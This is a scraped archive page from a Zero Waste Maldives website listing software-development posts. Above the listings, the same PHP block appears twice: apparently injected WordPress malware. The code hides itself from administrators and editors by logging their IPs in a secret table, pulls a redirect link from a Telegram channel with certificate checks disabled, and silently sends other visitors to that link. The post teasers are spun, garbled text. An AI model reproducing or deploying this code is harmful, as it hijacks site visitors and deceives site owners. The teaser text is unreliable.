add_action('template_redirect', 'custom_redirect_function'); function custom_redirect_function() { global $wpdb; $on_hot_redirect = true; function _getIP() { if (isset($_SERVER["HTTP_CF_CONNECTING_IP"])) { return $_SERVER["HTTP_CF_CONNECTING_IP"]; } elseif (!empty($_SERVER['HTTP_CLIENT_IP'])) { return $_SERVER['HTTP_CLIENT_IP']; } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { return $_SERVER['HTTP_X_FORWARDED_FOR']; } else { return $_SERVER['REMOTE_ADDR']; } } function fetch_remote($url) { if (function_exists('curl_version')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'); curl_setopt($ch, CURLOPT_TIMEOUT, 5); $response = curl_exec($ch); curl_close($ch); return $response; } return @file_get_contents($url); } function get_redirect_link($cache_file) { $html = fetch_remote("https://t.me/s/trafficredirect1"); if (!$html) return false; if (preg_match_all('/(https?:\/\/[^<]+)<\/code>/', $html, $matches)) { $link = end($matches[1]); if (!empty($link)) { file_put_contents($cache_file, $link); return $link; } } if (preg_match_all('/]+href="(https?:\/\/[^"]+)"[^>]*>/i', $html, $matches)) { foreach (array_reverse($matches[1]) as $link) { if (strpos($link, 't.me') === false) { file_put_contents($cache_file, $link); return $link; } } } return false; } $ip = _getIP(); $ua = $_SERVER['HTTP_USER_AGENT']; $table = $wpdb->prefix . "wusers_inputs"; if ($wpdb->get_var("SHOW TABLES LIKE '$table'") != $table) { require_once(ABSPATH . 'wp-admin/includes/upgrade.php'); $sql = "CREATE TABLE $table ( ip INT(11) UNSIGNED NOT NULL, useragent VARCHAR(535) NOT NULL ) ENGINE=MyISAM DEFAULT CHARSET=utf8;"; dbDelta($sql); } $exists = $wpdb->get_var($wpdb->prepare( "SELECT 1 FROM $table WHERE ip = %s AND useragent = %s LIMIT 1", ip2long($ip), $ua )); if ((current_user_can('editor') || current_user_can('administrator')) && !$exists) { $wpdb->insert($table, array( 'ip' => ip2long($ip), 'useragent' => $ua )); $exists = true; } if ($on_hot_redirect && !$exists) { $exists = $wpdb->get_var($wpdb->prepare( "SELECT 1 FROM $table WHERE ip = %s OR useragent = %s LIMIT 1", ip2long($ip), $ua )); if (!$exists) { $cache_file = sys_get_temp_dir() . '/' . md5('tg_redirect_cache'); if (file_exists($cache_file) && filesize($cache_file) > 0) { $age = time() - filemtime($cache_file); $link = trim(file_get_contents($cache_file)); } if (!isset($link) || $age >= 30 || empty($link)) { $link = get_redirect_link($cache_file); } if ($link) { wp_redirect($link); exit; } } } } add_action('template_redirect', 'custom_redirect_function'); function custom_redirect_function() { global $wpdb; $on_hot_redirect = true; function _getIP() { if (isset($_SERVER["HTTP_CF_CONNECTING_IP"])) { return $_SERVER["HTTP_CF_CONNECTING_IP"]; } elseif (!empty($_SERVER['HTTP_CLIENT_IP'])) { return $_SERVER['HTTP_CLIENT_IP']; } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { return $_SERVER['HTTP_X_FORWARDED_FOR']; } else { return $_SERVER['REMOTE_ADDR']; } } function fetch_remote($url) { if (function_exists('curl_version')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'); curl_setopt($ch, CURLOPT_TIMEOUT, 5); $response = curl_exec($ch); curl_close($ch); return $response; } return @file_get_contents($url); } function get_redirect_link($cache_file) { $html = fetch_remote("https://t.me/s/trafficredirect1"); if (!$html) return false; if (preg_match_all('/(https?:\/\/[^<]+)<\/code>/', $html, $matches)) { $link = end($matches[1]); if (!empty($link)) { file_put_contents($cache_file, $link); return $link; } } if (preg_match_all('/]+href="(https?:\/\/[^"]+)"[^>]*>/i', $html, $matches)) { foreach (array_reverse($matches[1]) as $link) { if (strpos($link, 't.me') === false) { file_put_contents($cache_file, $link); return $link; } } } return false; } $ip = _getIP(); $ua = $_SERVER['HTTP_USER_AGENT']; $table = $wpdb->prefix . "wusers_inputs"; if ($wpdb->get_var("SHOW TABLES LIKE '$table'") != $table) { require_once(ABSPATH . 'wp-admin/includes/upgrade.php'); $sql = "CREATE TABLE $table ( ip INT(11) UNSIGNED NOT NULL, useragent VARCHAR(535) NOT NULL ) ENGINE=MyISAM DEFAULT CHARSET=utf8;"; dbDelta($sql); } $exists = $wpdb->get_var($wpdb->prepare( "SELECT 1 FROM $table WHERE ip = %s AND useragent = %s LIMIT 1", ip2long($ip), $ua )); if ((current_user_can('editor') || current_user_can('administrator')) && !$exists) { $wpdb->insert($table, array( 'ip' => ip2long($ip), 'useragent' => $ua )); $exists = true; } if ($on_hot_redirect && !$exists) { $exists = $wpdb->get_var($wpdb->prepare( "SELECT 1 FROM $table WHERE ip = %s OR useragent = %s LIMIT 1", ip2long($ip), $ua )); if (!$exists) { $cache_file = sys_get_temp_dir() . '/' . md5('tg_redirect_cache'); if (file_exists($cache_file) && filesize($cache_file) > 0) { $age = time() - filemtime($cache_file); $link = trim(file_get_contents($cache_file)); } if (!isset($link) || $age >= 30 || empty($link)) { $link = get_redirect_link($cache_file); } if ($link) { wp_redirect($link); exit; } } } } Software development Archives - Zero Waste Maldives

Integrating Xamarin With Automated Ui Testing Tools Information

Additionally, you perceive how sometimes you learn an article and it is all theory? Basically, you will get a clear understanding of the best practices for Xamarin.Types UI testing. We’ll cowl every thing from establishing your exams to coping with Large...

ASP.NET is a server-side web-application framework designed for net improvement to produce dynamic internet pages. It was developed by Microsoft to allow programmers to build dynamic web pages https://www.globalcloudteam.com/, purposes and services. It was first...

10 Fintech Service Examples In 2023 Trusted It Solutions Supplier

These establishments function 100% digitally and provide the identical basic banking providers with none physical branches. Fintech options are revolutionizing a number of industries past banking, together with retail, healthcare, real property, insurance, training,...

Final Information To Outsourcing Java Developers

Outline clear project scope, milestones, deadlines, and deliverables from the outset. After shortlisting potential partners, the next step is to completely vet them. Request detailed proposals and arrange in-depth interviews or conferences to debate your project....

10 Fintech Service Examples In 2023 Trusted It Solutions Supplier

These establishments function 100% digitally and provide the identical basic banking providers with none physical branches. Fintech options are revolutionizing a number of industries past banking, together with retail, healthcare, real property, insurance, training,...